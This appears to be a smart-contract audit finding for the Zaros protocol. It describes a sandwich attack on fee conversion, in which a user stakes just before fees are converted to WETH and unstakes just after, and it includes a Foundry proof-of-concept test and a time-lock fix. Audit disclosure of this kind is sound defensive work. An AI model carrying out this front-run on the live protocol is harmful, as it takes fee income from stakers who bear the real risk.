The src/market-making/branches/FeeDistributionBranch.sol::convertAccumulatedFeesToWeth is prone to sandwich attacks enabling users who have risked nothing to collect fees and withdraw stake immediately
Zaros enables users to stake with the protocol and earn a portion of the fee collected. This is achieved via the VaultRouterBranch::stake function:
Once fee is collected from the engines, users can claim a share by calling FeeDistributionBranch.sol::claimFees: function:
The problem is that users can technically escape the risk of staking by front-running the src/market-making/branches/FeeDistributionBranch.sol::convertAccumulatedFeesToWeth call with a deposit ----> stake transaction and a backrun the fee conversion call with unstake ----> initiateWithdrawal call thereby sniping a share of the fee with minimal risk. This is contrary to the ethos of staking that rewards users who take on the inherent risk.
For a POC, add this test to test/integration/market-making/fee-distribution-branch/claimFees/claimFees.t.sol:
function testFuzz_Front_Run_Convert_Claim(
uint256 vaultId,
uint256 marketId,
uint256 amountToDepositMarketFee,
uint256 assetsToDepositVault,
uint256 adapterIndex
)
external
whenTheUserDoesHaveAvailableShares
{
IDexAdapter adapter = getFuzzDexAdapter(adapterIndex);
PerpMarketCreditConfig memory fuzzPerpMarketCreditConfig = getFuzzPerpMarketCreditConfig(marketId);
amountToDepositMarketFee = bound({
x: amountToDepositMarketFee,
min: USDC_MIN_DEPOSIT_MARGIN,
max: convertUd60x18ToTokenAmount(address(usdc), USDC_DEPOSIT_CAP_X18)
});
VaultConfig memory fuzzVaultConfig = getFuzzVaultConfig(vaultId);
assetsToDepositVault = bound({
x: assetsToDepositVault,
min: calculateMinOfSharesToStake(fuzzVaultConfig.vaultId),
max: fuzzVaultConfig.depositCap
});
changePrank({ msgSender: address(fuzzPerpMarketCreditConfig.engine) });
deal({ token: address(usdc), to: address(fuzzPerpMarketCreditConfig.engine), give: amountToDepositMarketFee });
marketMakingEngine.receiveMarketFee(
fuzzPerpMarketCreditConfig.marketId, address(usdc), amountToDepositMarketFee
);
changePrank({ msgSender: users.naruto.account });
deal(fuzzVaultConfig.asset, users.naruto.account, assetsToDepositVault);
marketMakingEngine.deposit(fuzzVaultConfig.vaultId, uint128(assetsToDepositVault), 0, "", false);
uint256 sharesToStake = IERC20(fuzzVaultConfig.indexToken).balanceOf(users.naruto.account);
marketMakingEngine.stake(fuzzVaultConfig.vaultId, uint128(sharesToStake));
assertEq(IERC20(wEth).balanceOf(users.naruto.account), 0);
assertEq(marketMakingEngine.getEarnedFees(fuzzVaultConfig.vaultId, users.naruto.account),0);
changePrank({ msgSender: address(perpsEngine) });
marketMakingEngine.convertAccumulatedFeesToWeth(
fuzzPerpMarketCreditConfig.marketId, address(usdc), adapter.STRATEGY_ID(), bytes("")
);
assertGt(marketMakingEngine.getEarnedFees(fuzzVaultConfig.vaultId, users.naruto.account),0);
}
Users can escape the risk of staking thereby gaining an advantage over other stakers. This can discourage staking with the protocol.
Consider implementing a minimum unstake time lock.